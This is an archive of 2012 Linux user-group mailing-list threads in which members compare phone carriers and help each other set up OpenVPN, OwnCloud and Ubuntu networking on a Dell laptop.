phone or internet for 4 days..guess what she has now!!? At 02:12 PM 6/22/2012, James Dugger wrote: I have been with Verizion ever since our other carrirer was buoght by them in the mid nineties. I have had a Driod and currently have a Droid X. I can't really compare the difference between carriers in dropped calls but we get are share of dropped calls as well. My wife and son have the iphone 4s and love it. My wife had an older Droid and it used to drop calls more than here iphone. Having used both (my wife's iphone and my Droid X) my comparison would be as follows: Screen Freeze Droid - this happens quite often on both the older and newer Droids (though not as much on the X) iphone - rarely freezes. Keyboard key selection Droid - They both struggle (especially in the portrait keyboard) to pick the correct letter/number. iphone - Even with fat fingers it is uncanny to me how the portrait keyboard can still seem to pick the right letter/number Text completion Droid - Okay iphone - Great slightly faster Animatromics (screen responsiveness) Droid - slight hesitancy at times iphone - smooth and quick I have no experience with HTC however my brother has the Samsung Nexus II through Version and says that it runs circles around his old Droid, and is much closer to the iphone with respect to hardware responsiveness and features. Since the versions of OS Android is somewhat splintered across different devices, there are a couple of other points to consider if an android phone is your preferred choice: Google owns Android and Motorola ( Droid ), but Nexus is a Google sponsored partnership program for application and hardware development for the official release version of Android by Google. Currently Samsung is the Nexus partner. This may have changed and I may be wrong, but it is my understanding that anything Android with the Nexus name is part of this partnership with Google. On Fri, Jun 22, 2012 at 10:01 AM, Stephen cryptwo...@gmail.com wrote: Android brutally fc's inactive apparently to free space before that goes. On Jun 22, 2012 9:59 AM, Eric Cope eric.c...@gmail.com wrote: Thats interesting to hear about not rebooting? Maybe the tide is changing. Someone I carpool with is also constantly having to close apps because the phone is out of memory. Does anyone else experience this? I think the iPhone forces stale apps out of memory automatically (I never get an out of memory notice). Can anyone comment on that? Eric On Fri, Jun 22, 2012 at 9:55 AM, Stephen cryptwo...@gmail.com wrote: I forgot. On a rooted phone there is an app that will backup your root so you can switch root on and off easily so you can do some root only tasks and then unroot for day to day. Its called voodoo ota rootkeeper On Jun 22, 2012 8:46 AM, keith smith klsmith2...@yahoo.com wrote: Hi, This is very OT. I have been with verizon for 8 years. Voice only. It has been 4 years since I upgraded our phones. It is just my wife and I. We are thinking of going with smart phones. A friend suggested HTC phones because of the better quality of speaker and mic. Voice quality is very important to me. As it stands we can get unlimited voice for $120/mo, 1000 texts for $10/mo and 2G of data for each phone for $20/ea/mo. Total is about $170/mo + tax and fees. I like verizon because they have always provided top of the line service. I've briefly looked at Straigt-Talk, T-Mobile, and Sprint. My fear with these providers is quality of the call, availability, and dropped calls. Any suggestions on which phone to get? From prior conversations on this list it seems a Droid
Re: OT Verizon Smart Phones
You can check coverage at http://www.t-mobile.com/coverage/pcc.aspx (drill down to the street level). My personal experience Seattle - great Phoenix, Scottsdale, Mesa, Chandler, etc. - great Payson - 4G - I loose connectivity in the mountains on the way to Payson Pinetop/Lakeside/Show Low - 2G/4G roaming - depends on location Greater LA - great SF and Bay Area - great Northern Idaho camping near the Canadian border - no coverage...ATT has some coverage in this area! Driving to Tucson - no loss of signal as far as I remember. Tucson has great coverage YMMV Mark On Sun, Jun 24, 2012 at 10:49 AM, keith smith klsmith2...@yahoo.com wrote: What about service - like out in rural areas. Between here and Tucson. I like T-Mobile's plan and price points, however I am concerned about coverage. Please share your thoughts. Thanks! Keith Smith --- On *Sun, 6/24/12, Mark Phillips m...@phillipsmarketing.biz* wrote: From: Mark Phillips m...@phillipsmarketing.biz Subject: Re: OT Verizon Smart Phones To: Main PLUG discussion list plug-discuss@lists.plug.phoenix.az.us Date: Sunday, June 24, 2012, 9:22 AM As a point of comparison, t-mobile offers an unlimited voice, text, and data plan for 2 phones for $140/month. Unlimited data means 2 gb at 4g speeds, and if you exceed that, they just throttle you back to 2g at no additional charge. They have lots of good android smart phones available (no iphones). I have had 4 phones with then for many many years, and I keep renewing every 2 years. Don't go to a franchise store unless you know it is a good one. Go to a corporate store for best service. Mark On Jun 23, 2012 8:42 PM, Lyle Tuttle l.tut...@cox.nethttp://mc/compose?to=l.tut...@cox.net wrote: We have two Verizon HTC Thunderbolts - new in Feb 2011. $174/month, unlimited everything.voice, text, data...' Have never had it freeze; rebooted on its own once but I think that was an update. Worst problem is battery life.very short, even with larger battery. One day will go all day, next day need to charge twice in one day - low usage.go figure. Did you know verizon has a box that will serve as your phone? $20/mo unlimited calls in/out..it received via cell signal and you plug your phone into it.and US Cellular has a small deck of cards, only half as thick Samsung hot spot$25 for up to 2 gig of data/month I learned the above after bad storm left sis-in-law without phone or internet for 4 days..guess what she has now!!? At 02:12 PM 6/22/2012, James Dugger wrote: I have been with Verizion ever since our other carrirer was buoght by them in the mid nineties. I have had a Driod and currently have a Droid X. I can't really compare the difference between carriers in dropped calls but we get are share of dropped calls as well. My wife and son have the iphone 4s and love it. My wife had an older Droid and it used to drop calls more than here iphone. Having used both (my wife's iphone and my Droid X) my comparison would be as follows: Screen Freeze Droid - this happens quite often on both the older and newer Droids (though not as much on the X) iphone - rarely freezes. Keyboard key selection Droid - They both struggle (especially in the portrait keyboard) to pick the correct letter/number. iphone - Even with fat fingers it is uncanny to me how the portrait keyboard can still seem to pick the right letter/number Text completion Droid - Okay iphone - Great slightly faster Animatromics (screen responsiveness) Droid - slight hesitancy at times iphone - smooth and quick I have no experience with HTC however my brother has the Samsung Nexus II through Version and says that it runs circles around his old Droid, and is much closer to the iphone with respect to hardware responsiveness and features. Since the versions of OS Android is somewhat splintered across different devices, there are a couple of other points to consider if an android phone is your preferred choice: Google owns Android and Motorola ( Droid ), but Nexus is a Google sponsored partnership program for application and hardware development for the official release version of Android by Google. Currently Samsung is the Nexus partner. This may have changed and I may be wrong, but it is my understanding that anything Android with the Nexus name is part of this partnership with Google. On Fri, Jun 22, 2012 at 10:01 AM, Stephen cryptwo...@gmail.comhttp://mc/compose?to=cryptwo...@gmail.com wrote: Android brutally fc's inactive apparently to free space before that goes. On Jun 22, 2012 9:59 AM, Eric Cope eric.c...@gmail.comhttp://mc/compose?to=eric.c...@gmail.com wrote: Thats interesting to hear about not rebooting? Maybe the tide is changing. Someone I carpool with is also constantly having to close apps because the phone is out of memory. Does anyone else experience this? I think the iPhone forces
Need Help setting up a VPN Connection to my LAN
I need to take my laptop on several road trips, and I need to connect back to my home office LAN - all Debian machines. I am on COX cable with a BEFSX41 router. The BEFSX41 has a VPN option that I have never used. What do I need to add to my laptop (Debian) to talk to my home office LAN securely (ie through a VPN) using my BEFSX41? Obviously, I am a complete nube when it comes to setting up VPN access to my LAN. I have googled for some recommendations, but I have not found a good reference to follow. Thanks, Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Need Help setting up a VPN Connection to my LAN
on the other end of the tunnel. *Status*- This will shows if you are connected or disconnected from the other end of the VPN tunnel. *Connect/Disconnect*- This button will connect or disconnect the other end of the VPN tunnel. *View Log*- This will show you the VPN activity when connecting and disconnecting. Advanced Settings Phase 1 is used to create a Security Association (SA), often called the IKE SA. After Phase 1 is completed, Phase 2 is used to create one or more IPSec SAs, which are then used to key IPSec sessions. Operation Mode MainThis is for normal operation and is more secure.AggressiveThis is faster and less secure.UsernameSome require username to establish a VPN connection. EncryptionSelect the length of the key used to encrypt/decrypt ESP packets. There are two choices: DES and 3DES. 3DES is recommended for security. AuthenticationSelect the method used to authenticate ESP packets. There are two choices: MD5 and SHA. SHA is recommended for security.GroupThere are two Diffie-Hellman Groups to choice from: 768-bit and 1024-bit. Diffie-Hellman refers to a cryptographic technique that uses public and private keys for encryption and decryption.Key LifetimeEnter a number of seconds for the life of the key.After the key lifetime expires, a new code will be generated. This much be the same for both end of the tunnel. *Phase 2* GroupThere are two Diffie-Hellman Groups to choice from: 768-bit and 1024-bit. Diffie-Hellman refers to a cryptographic technique that uses public and private keys for encryption and decryption.Key LifetimeEnter a number of seconds for the life of the key.After the key lifetime expires, a new code will be generated. This much be the same for both end of the tunnel. Other Setting NetBIOS broadcastCheck this to enable NetBIOS traffic to pass-through the VPN tunnel.Anti-replayCheck this to enable the Anti-reply protection. this feature keeps track of sequence numbers and packet arrival, ensuring security at the IP packet-level.Keep-AliveCheck this to re-establish VPN tunnel connection whenever it is dropped. Once the tunnel is initialized, this feature will keep the tunnel connected.If IKE failed more than x Times, block this unauthorized IP for y seconds.Check this box to block unauthorized IP addresses. Complete the on-screen sentence to specify how many times IKE must fail before blocking that unauthorized IP address for a length of time that you specify (in seconds). On Sun, Jun 24, 2012 at 1:02 PM, Stephen cryptwo...@gmail.com wrote: Rtfm? It really depends on what your options are in the vpn device are. On Jun 24, 2012 1:00 PM, Mark Phillips m...@phillipsmarketing.biz wrote: I need to take my laptop on several road trips, and I need to connect back to my home office LAN - all Debian machines. I am on COX cable with a BEFSX41 router. The BEFSX41 has a VPN option that I have never used. What do I need to add to my laptop (Debian) to talk to my home office LAN securely (ie through a VPN) using my BEFSX41? Obviously, I am a complete nube when it comes to setting up VPN access to my LAN. I have googled for some recommendations, but I have not found a good reference to follow. Thanks, Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Need Help setting up a VPN Connection to my LAN
Thanks for all the comments. Based on what you have said and further research, I have come to the conlusion... 1. I need to install openvpn on a machine on my lan and on my laptop. 2. I will follow these instructions for installation and configuration - http://openvpn.net/index.php/open-source/documentation/howto.html#quick 3. Just enable all the vpn options on my BEFSX41 and pray it all connects...;) fallbackpurchase a cisco pix 501 and play with that. Thanks! Mark On Sun, Jun 24, 2012 at 3:20 PM, Lisa Kachold lisakach...@obnosis.comwrote: Hi Mark, The BEFSX41's were not completely configured for anything but SITE---SITE VPN. An IPSEC tunnel to tunnel can be setup evidently to work with a linux VPN client. where you have a static client IP address (no NAT), but you are correct, it's a bit of work. And there are some known issues: http://homecommunity.cisco.com/t5/Wired-Routers/VPN-works-causes-periodic-freezes-of-BEFSX41/m-p/227179?comm_cc=HSuscomm_lang=en#226944 Version: Do you have BEFSX41 v1 or v2? With the most recent firmware, the VPN page should look like this: http://ui.linksys.com/files/BEFSX41/1.52.5/Security-VPN-Tunnel-Enabled.htm Linksys QuickVPN software and cisco VPN client will not work for IPSEC or this router. Linksys has instructions for setting up an IPSEC tunnel for the BEFSX41 (which is all it supports): http://homesupport.cisco.com/en-us/wireless/lbc/BEFSX41 As you can see, you can, with this router, do passthrough and OpenVPN is so nice, easy and powerful, I recommend you just use it (rather than try to configure VPNs from this router) [simply check all three boxes on the BEFSX41 and save]. OpenVPN Access Server (OpenVPN-AS) is a set of installation and configuration tools that simplify the rapid deployment of a VPN remote access solution. It is based on the popular OpenVPN open-source software, making the deployed VPN immediately compatible with OpenVPN client software across multiple user platforms.* *The server configurations options supported are a carefully selected subset of a quite large set of possible OpenVPN configurations. Thus, OpenVPN Access Server streamlines the configuration and management of an OpenVPN-based secure remote access deployment. You can get OpenVPNAS here (for Ubuntu, Fedora, CentOs and Redhat, as well as VirtualMachine images): http://openvpn.net/index.php/download/access-server-downloads.html To configure OpenVPN client in Linux: Simply surf to the port you setup for your OpenVPNAS server [usually 80/443] (be sure to port forward as needed) and login with the user name and password you setup and it will prompt you to download your client for Linux, OS X, or Windows. Client configuration instructions for Sentinel to BEFSX41: (useful for setting options in your linux client): http://www.homenethelp.com/vpn/router-config.asp On Jun 24, 2012 1:00 PM, Mark Phillips m...@phillipsmarketing.biz wrote: I need to take my laptop on several road trips, and I need to connect back to my home office LAN - all Debian machines. I am on COX cable with a BEFSX41 router. The BEFSX41 has a VPN option that I have never used. What do I need to add to my laptop (Debian) to talk to my home office LAN securely (ie through a VPN) using my BEFSX41? Obviously, I am a complete nube when it comes to setting up VPN access to my LAN. I have googled for some recommendations, but I have not found a good reference to follow. Thanks, Mark -- (503) 754-4452 Android (623) 239-3392 Skype (623) 688-3392 Google Voice ** http://it-clowns.comSafeway.com Automation Engineer --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Need Help setting up a VPN Connection to my LAN
Thanks for all the comments. Based on what you have said and further research, I have come to the conlusion... 1. I need to install openvpn on a machine on my lan and on my laptop. 2. I will follow these instructions for installation and configuration - http://openvpn.net/index.php/open-source/documentation/howto.html#quick 3. Just enable all the vpn options on my BEFSX41 and pray it all connects...;) fallbackpurchase a cisco pix 501 and play with that. Thanks! Mark On Sun, Jun 24, 2012 at 3:20 PM, Lisa Kachold lisakach...@obnosis.comwrote: Hi Mark, The BEFSX41's were not completely configured for anything but SITE---SITE VPN. An IPSEC tunnel to tunnel can be setup evidently to work with a linux VPN client. where you have a static client IP address (no NAT), but you are correct, it's a bit of work. And there are some known issues: http://homecommunity.cisco.com/t5/Wired-Routers/VPN-works-causes-periodic-freezes-of-BEFSX41/m-p/227179?comm_cc=HSuscomm_lang=en#226944 Version: Do you have BEFSX41 v1 or v2? With the most recent firmware, the VPN page should look like this: http://ui.linksys.com/files/BEFSX41/1.52.5/Security-VPN-Tunnel-Enabled.htm Linksys QuickVPN software and cisco VPN client will not work for IPSEC or this router. Linksys has instructions for setting up an IPSEC tunnel for the BEFSX41 (which is all it supports): http://homesupport.cisco.com/en-us/wireless/lbc/BEFSX41 As you can see, you can, with this router, do passthrough and OpenVPN is so nice, easy and powerful, I recommend you just use it (rather than try to configure VPNs from this router) [simply check all three boxes on the BEFSX41 and save]. OpenVPN Access Server (OpenVPN-AS) is a set of installation and configuration tools that simplify the rapid deployment of a VPN remote access solution. It is based on the popular OpenVPN open-source software, making the deployed VPN immediately compatible with OpenVPN client software across multiple user platforms.* *The server configurations options supported are a carefully selected subset of a quite large set of possible OpenVPN configurations. Thus, OpenVPN Access Server streamlines the configuration and management of an OpenVPN-based secure remote access deployment. You can get OpenVPNAS here (for Ubuntu, Fedora, CentOs and Redhat, as well as VirtualMachine images): http://openvpn.net/index.php/download/access-server-downloads.html To configure OpenVPN client in Linux: Simply surf to the port you setup for your OpenVPNAS server [usually 80/443] (be sure to port forward as needed) and login with the user name and password you setup and it will prompt you to download your client for Linux, OS X, or Windows. Client configuration instructions for Sentinel to BEFSX41: (useful for setting options in your linux client): http://www.homenethelp.com/vpn/router-config.asp On Jun 24, 2012 1:00 PM, Mark Phillips m...@phillipsmarketing.biz wrote: I need to take my laptop on several road trips, and I need to connect back to my home office LAN - all Debian machines. I am on COX cable with a BEFSX41 router. The BEFSX41 has a VPN option that I have never used. What do I need to add to my laptop (Debian) to talk to my home office LAN securely (ie through a VPN) using my BEFSX41? Obviously, I am a complete nube when it comes to setting up VPN access to my LAN. I have googled for some recommendations, but I have not found a good reference to follow. Thanks, Mark -- (503) 754-4452 Android (623) 239-3392 Skype (623) 688-3392 Google Voice ** http://it-clowns.comSafeway.com Automation Engineer --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Need Help setting up a VPN Connection to my LAN
Lisa, Don't I have to pay a license fee for the OpenVPN Access Server? When I looked on the site, I was prompted to buy a license. Mark On Sun, Jun 24, 2012 at 7:09 PM, Lisa Kachold lisakach...@obnosis.comwrote: Hi Mark, Just so you know, OpenVPN Access Server, automatically sets up all the databases, certificates and web management. It's REALLY EASY SOLID and simple. You get something like 3 free licenses. I don't recommend you mess around with the regular OpenVPN instructions (as linked below on your response) - unless you are masochistic. Use these: http://openvpn.net/index.php/access-server/docs/quick-start-guide.html Excerpt: *Linux Distribution:* You will need to make sure you download the package that corresponds with the current OS Distro, we currently support these Linux Distros: - Ubuntu - RHEL - Fedora - CentOS - Debian (Install Ubuntu Packages for Debian) Click here to download the OpenVPN Access Server packageshttp://openvpn.net/index.php/access-server/download-openvpn-as-sw.html *CPU Architecture: *You will need to make sure you install the correct package depending on your CPU Architecture (32bit or 64bit) * Installing the OpenVPN-AS Package: *To Install the OpenVPN-AS package in Ubuntu or Debian you will need to run this command: *dpkg -i openvpnasdebpack.deb* To install the OpenVPN-AS package in CentOS, RHEL, or Fedora you will need to run this command: *rpm -i openvpnasrpmpack.rpm* The Admin Account for OpenVPN-AS needs to be setup through terminal by doing the following: Change the password: passwd openvpn You will then be prompted to set a password for the user openvpn, after setting the password you can login to the Admin UI with the Username openvpn and the password you set. *Note: In some circumstances for certain configurations you may need to run the complete ovpn-init script terminal: /usr/local/openvpn_as/bin/ovpn-init* *Configuring the Admin Web Interface: *After you have completed the Initial Configuration Tool you should then be able to access the Admin Web Interface through your preferred web browser. You should have noticed an link to the Admin Web Interface after you completed the Initial Configuration Tool, if you missed it you can access the Admin Web Interface by typing the following in your browsers address bar: https://openvpnasip/admin https://openvpnasip:943/admin (Please replace openvpnasip with the IP you allocated to your openvpn-as instance) https://openvpnasip:943/admin You can now go ahead and login with your openvpn admin credentials. Once logged in you will see the following screen: end excerpt On Sun, Jun 24, 2012 at 6:08 PM, Mark Phillips m...@phillipsmarketing.biz wrote: Thanks for all the comments. Based on what you have said and further research, I have come to the conlusion... 1. I need to install openvpn on a machine on my lan and on my laptop. 2. I will follow these instructions for installation and configuration - http://openvpn.net/index.php/open-source/documentation/howto.html#quick 3. Just enable all the vpn options on my BEFSX41 and pray it all connects...;) fallbackpurchase a cisco pix 501 and play with that. Thanks! Mark On Sun, Jun 24, 2012 at 3:20 PM, Lisa Kachold lisakach...@obnosis.comwrote: Hi Mark, The BEFSX41's were not completely configured for anything but SITE---SITE VPN. An IPSEC tunnel to tunnel can be setup evidently to work with a linux VPN client. where you have a static client IP address (no NAT), but you are correct, it's a bit of work. And there are some known issues: http://homecommunity.cisco.com/t5/Wired-Routers/VPN-works-causes-periodic-freezes-of-BEFSX41/m-p/227179?comm_cc=HSuscomm_lang=en#226944 Version: Do you have BEFSX41 v1 or v2? With the most recent firmware, the VPN page should look like this: http://ui.linksys.com/files/BEFSX41/1.52.5/Security-VPN-Tunnel-Enabled.htm Linksys QuickVPN software and cisco VPN client will not work for IPSEC or this router. Linksys has instructions for setting up an IPSEC tunnel for the BEFSX41 (which is all it supports): http://homesupport.cisco.com/en-us/wireless/lbc/BEFSX41 As you can see, you can, with this router, do passthrough and OpenVPN is so nice, easy and powerful, I recommend you just use it (rather than try to configure VPNs from this router) [simply check all three boxes on the BEFSX41 and save]. OpenVPN Access Server (OpenVPN-AS) is a set of installation and configuration tools that simplify the rapid deployment of a VPN remote access solution. It is based on the popular OpenVPN open-source software, making the deployed VPN immediately compatible with OpenVPN client software across multiple user platforms.* *The server configurations options supported are a carefully selected subset of a quite large set of possible OpenVPN configurations. Thus, OpenVPN Access Server streamlines the configuration and management of an OpenVPN-based
Looking for Streaming Media Software Recommendations
I have a underused Debian headless server, a network enabled DLNA TV, so.why not stream some movies to this TV? I am looking for recommendations for a streaming media server that will run on a headless Debian server. Thanks! Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Has Anyone Used OwnCloud?
Lisa, Thanks for the link. I guess I will just have to install it and see how it works. Mark On Thu, Jun 21, 2012 at 6:02 AM, Lisa Kachold lisakach...@obnosis.comwrote: Hi Mark, On Tue, Jun 19, 2012 at 5:31 PM, Mark Phillips m...@phillipsmarketing.biz wrote: I was googling how to build your own cloud storage, and ran across owncloud.org. A glorified webdav server. Does anyone have any experience with it? This looks interesting: http://www.howtoforge.com/your-cloud-your-data-your-way-owncloud-4.0-nginx-postgresql-on-centos-6.2 Mark -- (503) 754-4452 Android (623) 239-3392 Skype (623) 688-3392 Google Voice ** http://it-clowns.comSafeway.com Automation Engineer --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Has Anyone Used OwnCloud?
Crawford, Thanks for your email. I have read conflicting reports in some forums that the file transfers (backing up user data) are slow. Is this true? Also, are there sync clients for different OSes that automate client backups? Thanks, Mark On Jun 20, 2012 12:24 PM, Crawford Rainwater crawford.rainwa...@linux-etc.com wrote: Mark: Linux ETC has set ownCloud up for a client and has it as a demo site on our web server as well. It uses SabreDAV in the backend, so a little different than the typical WebDAV for API calls. We are still debating offering this as a service as well for general public use based on the storage size allocated on a monthly basis. What else would you like to know? ;-) --- Crawford The Linux ETC Company 10121 Yates Court Westminster, CO 80031 USA voice: +1.303.604.2550 web:http://www.linux-etc.com Please do not print this email unless it is absolutely necessary. Be friendly to the environment by saving paper. - Mark Phillips m...@phillipsmarketing.biz wrote: - I was googling how to build your own cloud storage, and ran across owncloud.org. A glorified webdav server. Does anyone have any experience with it? Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Has Anyone Used OwnCloud?
I was googling how to build your own cloud storage, and ran across owncloud.org. A glorified webdav server. Does anyone have any experience with it? Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Problems with Ubuntu 12.04 Networking on Latitude D620
Michael, Thanksno blinky lights. I plugged into another network outlet, and the network came up. Now for the spooky part. I have two cables (red, blue) and 2 network connections (A, B) in the wall going back to the router/switch and 2 computers (D260, 1520). A --red--D260 = no blinky lights and no network connection A --red--1520 = blinky lights and network connection B --blue--D260 = blinky lights and network connection B --blue--1520 = blinky lights and network connection I tried a third cable from A to D260 and got blinky lights and network. I think there is something wrong with the red cable. Do you agree? Mark On Thu, Jun 14, 2012 at 5:29 PM, Michael Butash mich...@butash.net wrote: Looks like you're not getting actual link - is the link up? sudo mii-tool eth0 should see: eth0: negotiated 1000baseT-FD flow-control, link ok Should also see blinky lights on the nic. Do you use a dock with it? They sometimes switch between dock and build-in causing one or the other not to work or link, even sometimes getting stuck, but that's usually a driver/os thing. -mb On 06/14/2012 05:20 PM, Mark Phillips wrote: I installed Ubuntu 12.04 on a Dell Latitude D620. I didn't expect any issues based on googling this laptop and Linux. However, I cannot get Ethernet or wifi to work. lspci shows the correct hardware Ethernet controller; Broadcom Corporation NetXtreme BCM5752 Gigibit Ethernet PCI Express (rev 2) Network controller: Broadcom Corporation BCM4311 802.11b/g WLAN (rev 01) I went into Network Connections and added a Wired connection and gave it a name and selected the MAc address for eth0 (in the drop down list), and selected automatic (DHCP) as the method for iP4 I looked at /etc/network/interfaces auto lo iface lo inet loopback so I tried adding auto eth0 but no luck. grep -i eth /var/log/syslog gives Network Manager[2029]: info (eth0): new Ethernet device (driver:'tg3' ifindex: 2) Network Manager[2029]: info (eth0): exported as /org/freedesktop/**NetworkManager/Devices/0 Network Manager[2029]: info (eth0): mow managed Network Manager[2029]: info (eth0): device state change: unmanaged - unavailable (reason 'managed') [10 2 0 2] Network Manager[2029]: info (eth0): bringing up device Network Manager[2029]: info (eth0): preparing device Network Manager[2029]: info (eth0): deactivating device (reason 'managed') [2] kernel: [1815.448547] ADDRCONF(NETDEV_UP): eth0: link is not ready kernel: [1815.449321] ADDRCONF(NETDEV_UP): eth0: link is not ready I looked at some forum posts on how to fix this, and the best I found was to edit NetworkManager.conf and set managed=true (it came false out of the box). That did not help. Thanks for any other suggestions you may have! Mark --**- PLUG-discuss mailing list - plug-disc...@lists.plug.**phoenix.az.usPLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.**us/mailman/listinfo/plug-**discusshttp://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --**- PLUG-discuss mailing list - plug-disc...@lists.plug.**phoenix.az.usPLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.**us/mailman/listinfo/plug-**discusshttp://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Problems with Ubuntu 12.04 Networking on Latitude D620
Lisa and Stephen, I got the wired working...looks like a bad cable - see my previous post. Have to take my starving daughter to dinner - they whine a lot when they get hungry...;) I will let you know about the wifi when I get back! Thanks for the super quick responses!!! Mark On Thu, Jun 14, 2012 at 5:40 PM, Lisa Kachold lisakach...@obnosis.comwrote: Hi Mark, On Thu, Jun 14, 2012 at 5:20 PM, Mark Phillips m...@phillipsmarketing.biz wrote: I installed Ubuntu 12.04 on a Dell Latitude D620. I didn't expect any issues based on googling this laptop and Linux. However, I cannot get Ethernet or wifi to work. lspci shows the correct hardware Ethernet controller; Broadcom Corporation NetXtreme BCM5752 Gigibit Ethernet PCI Express (rev 2) Network controller: Broadcom Corporation BCM4311 802.11b/g WLAN (rev 01) I went into Network Connections and added a Wired connection and gave it a name and selected the MAc address for eth0 (in the drop down list), and selected automatic (DHCP) as the method for iP4 I looked at /etc/network/interfaces auto lo iface lo inet loopback so I tried adding auto eth0 but no luck. grep -i eth /var/log/syslog gives Network Manager[2029]: info (eth0): new Ethernet device (driver:'tg3' ifindex: 2) Network Manager[2029]: info (eth0): exported as /org/freedesktop/NetworkManager/Devices/0 Network Manager[2029]: info (eth0): mow managed Network Manager[2029]: info (eth0): device state change: unmanaged - unavailable (reason 'managed') [10 2 0 2] Network Manager[2029]: info (eth0): bringing up device Network Manager[2029]: info (eth0): preparing device Network Manager[2029]: info (eth0): deactivating device (reason 'managed') [2] kernel: [1815.448547] ADDRCONF(NETDEV_UP): eth0: link is not ready kernel: [1815.449321] ADDRCONF(NETDEV_UP): eth0: link is not ready I looked at some forum posts on how to fix this, and the best I found was to edit NetworkManager.conf and set managed=true (it came false out of the box). That did not help. Thanks for any other suggestions you may have! Mark It appears to be trying to use a tg3 driver - which is the ethernet. Follow these instructions to setup the /etc/network/interfaces networking for Network Manager: https://help.ubuntu.com/11.10/serverguide/network-configuration.html Example for /etc/network/interfaces: auto eth0 iface eth0 inet dhcp pre-up /sbin/ethtool -s eth0 speed 1000 duplex full Manual test (non-persistent): # sudo ifconfig eth0 192.168.1.50 netmask 255.255.255.0 up # route add default gw 192.168.1.1 eth0 For your wireless: Please show us the output of: nm-tool lsmod | grep b43 sudo iwlist scan sudo cat /var/log/syslog | grep -e b43 -e firmware -e wpa -e wlan -e etork | tail -n55 $ sudo apt-get install firmware-b43-installer $ sudo apt-get remove bcmwl-kernel-source -- (503) 754-4452 Android (623) 239-3392 Skype (623) 688-3392 Google Voice ** http://it-clowns.comSafeway.com Automation Engineer --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Problems with Ubuntu 12.04 Networking on Latitude D620
Wireless is now working, based on the info in this post: http://ubuntuforums.org/showthread.php?t=1604868page=58 Thanks! Mark On Thu, Jun 14, 2012 at 5:50 PM, Mark Phillips m...@phillipsmarketing.bizwrote: Lisa and Stephen, I got the wired working...looks like a bad cable - see my previous post. Have to take my starving daughter to dinner - they whine a lot when they get hungry...;) I will let you know about the wifi when I get back! Thanks for the super quick responses!!! Mark On Thu, Jun 14, 2012 at 5:40 PM, Lisa Kachold lisakach...@obnosis.comwrote: Hi Mark, On Thu, Jun 14, 2012 at 5:20 PM, Mark Phillips m...@phillipsmarketing.biz wrote: I installed Ubuntu 12.04 on a Dell Latitude D620. I didn't expect any issues based on googling this laptop and Linux. However, I cannot get Ethernet or wifi to work. lspci shows the correct hardware Ethernet controller; Broadcom Corporation NetXtreme BCM5752 Gigibit Ethernet PCI Express (rev 2) Network controller: Broadcom Corporation BCM4311 802.11b/g WLAN (rev 01) I went into Network Connections and added a Wired connection and gave it a name and selected the MAc address for eth0 (in the drop down list), and selected automatic (DHCP) as the method for iP4 I looked at /etc/network/interfaces auto lo iface lo inet loopback so I tried adding auto eth0 but no luck. grep -i eth /var/log/syslog gives Network Manager[2029]: info (eth0): new Ethernet device (driver:'tg3' ifindex: 2) Network Manager[2029]: info (eth0): exported as /org/freedesktop/NetworkManager/Devices/0 Network Manager[2029]: info (eth0): mow managed Network 